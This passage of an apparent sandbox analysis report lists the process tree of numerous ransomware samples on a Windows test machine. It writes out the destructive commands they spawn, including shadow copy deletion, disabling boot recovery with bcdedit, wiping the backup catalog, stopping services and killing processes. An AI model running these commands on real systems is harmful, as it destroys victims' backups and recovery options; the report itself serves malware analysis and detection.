                                              "sc.exe" config SQLTELEMETRY start= disabled
                                              4⤵
                                              • Launches sc.exe
                                              PID:7552
                                            • C:\Windows\SYSTEM32\sc.exe
                                              "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                                              4⤵
                                              • Launches sc.exe
                                              PID:5940
                                            • C:\Windows\SYSTEM32\sc.exe
                                              "sc.exe" config SQLWriter start= disabled
                                              4⤵
                                              • Launches sc.exe
                                              PID:1700
                                            • C:\Windows\SYSTEM32\sc.exe
                                              "sc.exe" config SstpSvc start= disabled
                                              4⤵
                                              • Launches sc.exe
                                              PID:6504
                                            • C:\Windows\SYSTEM32\taskkill.exe
                                              "taskkill.exe" /IM mspub.exe /F
                                              4⤵
                                              • Kills process with taskkill
                                              PID:6836
                                            • C:\Windows\SYSTEM32\taskkill.exe
                                              "taskkill.exe" /IM mydesktopqos.exe /F
                                              4⤵
                                              • Kills process with taskkill
                                              PID:2864
                                            • C:\Windows\SYSTEM32\taskkill.exe
                                              "taskkill.exe" /IM mydesktopservice.exe /F
                                              4⤵
                                              • Kills process with taskkill
                                              PID:7392
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" Delete Shadows /all /quiet
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:6520
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:2452
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:6008
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:2284
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:7796
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:3332
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:7248
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:7200
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:8340
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:7312
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:4272
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:116
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:9928
                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                              "vssadmin.exe" Delete Shadows /all /quiet
                                              4⤵
                                              • Interacts with shadow copies
                                              PID:3200
                                            • C:\Windows\System32\notepad.exe
                                              "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HELP_ME_RECOVER_MY_FILES.txt
                                              4⤵
                                              • Opens file in notepad (likely ransom note)
                                              PID:8904
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Generic-81e81f0bbbdb831eda215033b7a7dbf2eed3812f4e58118f181a8e99e613179e.exe
                                              4⤵
                                                PID:9064
                                                • C:\Windows\system32\choice.exe
                                                  choice /C Y /N /D Y /T 3
                                                  5⤵
                                                    PID:7744
                                              • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Gimemo.gen-09d0890a500d3840c71451ca07f120bbce4fb6eaf293cb805dcc5ecde0c4403c.exe
                                                HEUR-Trojan-Ransom.Win32.Gimemo.gen-09d0890a500d3840c71451ca07f120bbce4fb6eaf293cb805dcc5ecde0c4403c.exe
                                                3⤵
                                                  PID:3788
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3788 -s 1488
                                                    4⤵
                                                    • Program crash
                                                    PID:5060
                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.JSWorm.gen-71cafb0417b9467a91e7d710cf6b6fc4f5017fc666de154c34e61725fb21b1c0.exe
                                                  HEUR-Trojan-Ransom.Win32.JSWorm.gen-71cafb0417b9467a91e7d710cf6b6fc4f5017fc666de154c34e61725fb21b1c0.exe
                                                  3⤵
                                                    PID:2304
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2304 -s 888
                                                      4⤵
                                                      • Program crash
                                                      PID:9160
                                                  • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.PolyRansom.gen-a9022b4592e1f45576b35b0bec7a3756b27688295a3b8386094c0613f4e14314.exe
                                                    HEUR-Trojan-Ransom.Win32.PolyRansom.gen-a9022b4592e1f45576b35b0bec7a3756b27688295a3b8386094c0613f4e14314.exe
                                                    3⤵
                                                      PID:1232
                                                    • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Rack.vho-947196ecb0723f7bfe47b7f01a761a0e9bfbe55ae1f23d787eed4727d1e057b9.exe
                                                      HEUR-Trojan-Ransom.Win32.Rack.vho-947196ecb0723f7bfe47b7f01a761a0e9bfbe55ae1f23d787eed4727d1e057b9.exe
                                                      3⤵
                                                        PID:3588
                                                        • C:\Windows\system32\cmd.exe
                                                          "C:\Windows\system32\cmd.exe"
                                                          4⤵
                                                            PID:4496
                                                            • C:\Windows\system32\mode.com
                                                              mode con cp select=1251
                                                              5⤵
                                                                PID:5260
                                                              • C:\Windows\system32\vssadmin.exe
                                                                vssadmin delete shadows /all /quiet
                                                                5⤵
                                                                • Interacts with shadow copies
                                                                PID:5616
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 540
                                                              4⤵
                                                              • Program crash
                                                              PID:1352
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 548
                                                              4⤵
                                                              • Program crash
                                                              PID:5380
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 576
                                                              4⤵
                                                              • Program crash
                                                              PID:5544
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 584
                                                              4⤵
                                                              • Program crash
                                                              PID:5724
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 588
                                                              4⤵
                                                              • Program crash
                                                              PID:6040
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 672
                                                              4⤵
                                                              • Program crash
                                                              PID:5472
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 664
                                                              4⤵
                                                              • Program crash
                                                              PID:7896
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 688
                                                              4⤵
                                                              • Program crash
                                                              PID:6168
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 540
                                                              4⤵
                                                              • Program crash
                                                              PID:6332
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 800
                                                              4⤵
                                                              • Program crash
                                                              PID:9324
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 796
                                                              4⤵
                                                              • Program crash
                                                              PID:7720
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 804
                                                              4⤵
                                                              • Program crash
                                                              PID:7044
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 836
                                                              4⤵
                                                              • Program crash
                                                              PID:7080
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 812
                                                              4⤵
                                                              • Program crash
                                                              PID:7728
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 856
                                                              4⤵
                                                              • Program crash
                                                              PID:1116
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 856
                                                              4⤵
                                                              • Program crash
                                                              PID:10020
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 880
                                                              4⤵
                                                              • Program crash
                                                              PID:4164
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 884
                                                              4⤵
                                                              • Program crash
                                                              PID:5724
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 840
                                                              4⤵
                                                              • Program crash
                                                              PID:8468
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 800
                                                              4⤵
                                                              • Program crash
                                                              PID:7744
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 828
                                                              4⤵
                                                              • Program crash
                                                              PID:6280
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 800
                                                              4⤵
                                                              • Program crash
                                                              PID:7496
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 804
                                                              4⤵
                                                              • Program crash
                                                              PID:8832
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 888
                                                              4⤵
                                                              • Program crash
                                                              PID:5012
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 852
                                                              4⤵
                                                              • Program crash
                                                              PID:6020
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 816
                                                              4⤵
                                                              • Program crash
                                                              PID:8804
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 800
                                                              4⤵
                                                              • Program crash
                                                              PID:7624
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1068
                                                              4⤵
                                                              • Program crash
                                                              PID:4724
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1440
                                                              4⤵
                                                              • Program crash
                                                              PID:6836
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1444
                                                              4⤵
                                                              • Program crash
                                                              PID:9392
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1440
                                                              4⤵
                                                              • Program crash
                                                              PID:6120
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 860
                                                              4⤵
                                                              • Program crash
                                                              PID:9936
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1456
                                                              4⤵
                                                              • Program crash
                                                              PID:8104
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1464
                                                              4⤵
                                                              • Program crash
                                                              PID:7136
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 660
                                                              4⤵
                                                              • Program crash
                                                              PID:7572
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1456
                                                              4⤵
                                                              • Program crash
                                                              PID:724
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1500
                                                              4⤵
                                                              • Program crash
                                                              PID:3428
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1508
                                                              4⤵
                                                              • Program crash
                                                              PID:7712
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1540
                                                              4⤵
                                                              • Program crash
                                                              PID:4596
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1520
                                                              4⤵
                                                              • Program crash
                                                              PID:4180
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1552
                                                              4⤵
                                                              • Program crash
                                                              PID:6020
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1500
                                                              4⤵
                                                              • Program crash
                                                              PID:7728
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1568
                                                              4⤵
                                                              • Program crash
                                                              PID:10036
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1556
                                                              4⤵
                                                              • Program crash
                                                              PID:7892
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1564
                                                              4⤵
                                                              • Program crash
                                                              PID:4500
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1576
                                                              4⤵
                                                              • Program crash
                                                              PID:6096
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1544
                                                              4⤵
                                                              • Program crash
                                                              PID:8332
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1520
                                                              4⤵
                                                              • Program crash
                                                              PID:5016
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1552
                                                              4⤵
                                                              • Program crash
                                                              PID:9800
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1560
                                                              4⤵
                                                              • Program crash
                                                              PID:10780
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1540
                                                              4⤵
                                                              • Program crash
                                                              PID:8520
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1512
                                                              4⤵
                                                              • Program crash
                                                              PID:7816
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1792
                                                              4⤵
                                                              • Program crash
                                                              PID:7044
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1800
                                                              4⤵
                                                              • Program crash
                                                              PID:12232
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1824
                                                              4⤵
                                                              • Program crash
                                                              PID:10724
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1756
                                                              4⤵
                                                              • Program crash
                                                              PID:11588
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1844
                                                              4⤵
                                                              • Program crash
                                                              PID:11460
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1836
                                                              4⤵
                                                              • Program crash
                                                              PID:7612
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1760
                                                              4⤵
                                                                PID:7612
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1804
                                                                4⤵
                                                                  PID:3996
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1840
                                                                  4⤵
                                                                    PID:12420
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1728
                                                                    4⤵
                                                                      PID:12468
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1732
                                                                      4⤵
                                                                        PID:12736
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1604
                                                                        4⤵
                                                                          PID:7020
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1460
                                                                          4⤵
                                                                            PID:13832
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1480
                                                                            4⤵
                                                                              PID:11052
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1464
                                                                              4⤵
                                                                                PID:13388
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1440
                                                                                4⤵
                                                                                  PID:14124
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1284
                                                                                  4⤵
                                                                                    PID:10980
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1616
                                                                                    4⤵
                                                                                      PID:4704
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1580
                                                                                      4⤵
                                                                                        PID:9232
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1596
                                                                                        4⤵
                                                                                          PID:13556
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1508
                                                                                          4⤵
                                                                                            PID:14152
                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1580
                                                                                            4⤵
                                                                                              PID:12732
                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1560
                                                                                              4⤵
                                                                                                PID:10636
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1552
                                                                                                4⤵
                                                                                                  PID:12544
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1636
                                                                                                  4⤵
                                                                                                    PID:12456
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 1628
                                                                                                    4⤵
                                                                                                      PID:12844
                                                                                                  • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Blocker.cjtx-3917759ae65f10aec4f9d5e5628fead573d8f3b4bba59a8f1fcd6692ec563436.exe
                                                                                                    Trojan-Ransom.Win32.Blocker.cjtx-3917759ae65f10aec4f9d5e5628fead573d8f3b4bba59a8f1fcd6692ec563436.exe
                                                                                                    3⤵
                                                                                                      PID:3596
                                                                                                      • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Blocker.cjtx-3917759ae65f10aec4f9d5e5628fead573d8f3b4bba59a8f1fcd6692ec563436.exe
                                                                                                        "C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Blocker.cjtx-3917759ae65f10aec4f9d5e5628fead573d8f3b4bba59a8f1fcd6692ec563436.exe"
                                                                                                        4⤵
                                                                                                          PID:1356
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\tmp977cd165.bat"
                                                                                                            5⤵
                                                                                                              PID:6456
                                                                                                        • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Blocker.klrp-45167945141c95c5a012feeb0fcfc6667fc43e781cd9e43ab0be4bcc1b9ed6b2.exe
                                                                                                          Trojan-Ransom.Win32.Blocker.klrp-45167945141c95c5a012feeb0fcfc6667fc43e781cd9e43ab0be4bcc1b9ed6b2.exe
                                                                                                          3⤵
                                                                                                            PID:4480
                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 240
                                                                                                              4⤵
                                                                                                              • Program crash
                                                                                                              PID:3664
                                                                                                          • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Blocker.lckf-5140c53c5f3e25069731a723d05f52dd3b7e36437ab56c2456b751f229cf1491.exe
                                                                                                            Trojan-Ransom.Win32.Blocker.lckf-5140c53c5f3e25069731a723d05f52dd3b7e36437ab56c2456b751f229cf1491.exe
                                                                                                            3⤵
                                                                                                              PID:964
                                                                                                            • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Blocker.mbhj-a7ca204632f7c62e75b02978c62be386b47d4d0741f9bd7d826986cef7ca4304.exe
                                                                                                              Trojan-Ransom.Win32.Blocker.mbhj-a7ca204632f7c62e75b02978c62be386b47d4d0741f9bd7d826986cef7ca4304.exe
                                                                                                              3⤵
                                                                                                                PID:5460
                                                                                                                • C:\Windows\1233994211794075\winrcfu.exe
                                                                                                                  C:\Windows\1233994211794075\winrcfu.exe
                                                                                                                  4⤵
                                                                                                                    PID:7296
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 572
                                                                                                                    4⤵
                                                                                                                    • Program crash
                                                                                                                    PID:6944
                                                                                                                • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Cortex.i-11f7bb37dd425150e6b095a8d1f3a347ee83e604302a4d9bb201900e74a81d73.exe
                                                                                                                  Trojan-Ransom.Win32.Cortex.i-11f7bb37dd425150e6b095a8d1f3a347ee83e604302a4d9bb201900e74a81d73.exe
                                                                                                                  3⤵
                                                                                                                    PID:5608
                                                                                                                  • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Crusis.drg-c12472bf9837449057268026463065fc9961ebbd3dc31d91d243392addfade9c.exe
                                                                                                                    Trojan-Ransom.Win32.Crusis.drg-c12472bf9837449057268026463065fc9961ebbd3dc31d91d243392addfade9c.exe
                                                                                                                    3⤵
                                                                                                                      PID:5864
                                                                                                                    • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Crypren.agpe-4eac200afdbf3ed368074c0a544bfdbbe0b33f9366905a2b0bd0a51aa1c65477.exe
                                                                                                                      Trojan-Ransom.Win32.Crypren.agpe-4eac200afdbf3ed368074c0a544bfdbbe0b33f9366905a2b0bd0a51aa1c65477.exe
                                                                                                                      3⤵
                                                                                                                        PID:5176
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          "C:\Windows\system32\cmd.exe"
                                                                                                                          4⤵
                                                                                                                            PID:1360
                                                                                                                            • C:\Windows\system32\mode.com
                                                                                                                              mode con cp select=1251
                                                                                                                              5⤵
                                                                                                                                PID:2272
                                                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                                                vssadmin delete shadows /all /quiet
                                                                                                                                5⤵
                                                                                                                                • Interacts with shadow copies
                                                                                                                                PID:2100
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              "C:\Windows\system32\cmd.exe"
                                                                                                                              4⤵
                                                                                                                                PID:4508
                                                                                                                                • C:\Windows\system32\mode.com
                                                                                                                                  mode con cp select=1251
                                                                                                                                  5⤵
                                                                                                                                    PID:5996
                                                                                                                                  • C:\Windows\system32\vssadmin.exe
                                                                                                                                    vssadmin delete shadows /all /quiet
                                                                                                                                    5⤵
                                                                                                                                    • Interacts with shadow copies
                                                                                                                                    PID:6416
                                                                                                                                • C:\Windows\System32\mshta.exe
                                                                                                                                  "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
                                                                                                                                  4⤵
                                                                                                                                    PID:4716
                                                                                                                                  • C:\Windows\System32\mshta.exe
                                                                                                                                    "C:\Windows\System32\mshta.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
                                                                                                                                    4⤵
                                                                                                                                      PID:744
                                                                                                                                  • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Cryptor.dhy-c89a16d617c7e36ceb6a42c306867b2464ede65f94e858484b8405b1497a2c72.exe
                                                                                                                                    Trojan-Ransom.Win32.Cryptor.dhy-c89a16d617c7e36ceb6a42c306867b2464ede65f94e858484b8405b1497a2c72.exe
                                                                                                                                    3⤵
                                                                                                                                      PID:6812
                                                                                                                                      • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Cryptor.dhy-c89a16d617c7e36ceb6a42c306867b2464ede65f94e858484b8405b1497a2c72.exe
                                                                                                                                        "C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Cryptor.dhy-c89a16d617c7e36ceb6a42c306867b2464ede65f94e858484b8405b1497a2c72.exe" n6812
                                                                                                                                        4⤵
                                                                                                                                          PID:3520
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          "C:\Windows\system32\cmd.exe"
                                                                                                                                          4⤵
                                                                                                                                            PID:6048
                                                                                                                                            • C:\Windows\system32\vssadmin.exe
                                                                                                                                              vssadmin delete shadows /all /quiet
                                                                                                                                              5⤵
                                                                                                                                              • Interacts with shadow copies
                                                                                                                                              PID:9064
                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                              wmic shadowcopy delete
                                                                                                                                              5⤵
                                                                                                                                                PID:1140
                                                                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                                                                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                                                                                                                                5⤵
                                                                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                                                                PID:4384
                                                                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                                                                bcdedit /set {default} recoveryenabled no
                                                                                                                                                5⤵
                                                                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                                                                PID:9344
                                                                                                                                              • C:\Windows\system32\wbadmin.exe
                                                                                                                                                wbadmin delete catalog -quiet
                                                                                                                                                5⤵
                                                                                                                                                • Deletes backup catalog
                                                                                                                                                PID:5180
                                                                                                                                          • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Encoder.cwz-591e7f5eb141c22919a406508f63a558e3bd732fe38844cedbbea938d666e78b.exe
                                                                                                                                            Trojan-Ransom.Win32.Encoder.cwz-591e7f5eb141c22919a406508f63a558e3bd732fe38844cedbbea938d666e78b.exe
                                                                                                                                            3⤵
                                                                                                                                              PID:7760
                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                mshta.exe C:\Users\Admin\AppData\Local\Temp\readme.hta
                                                                                                                                                4⤵
                                                                                                                                                  PID:8184
                                                                                                                                              • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Foreign.nxyr-b6f9f9fa970bf7ec730e0944b1bb0ba8d17a3715de0730bc417aae149ae048dd.exe
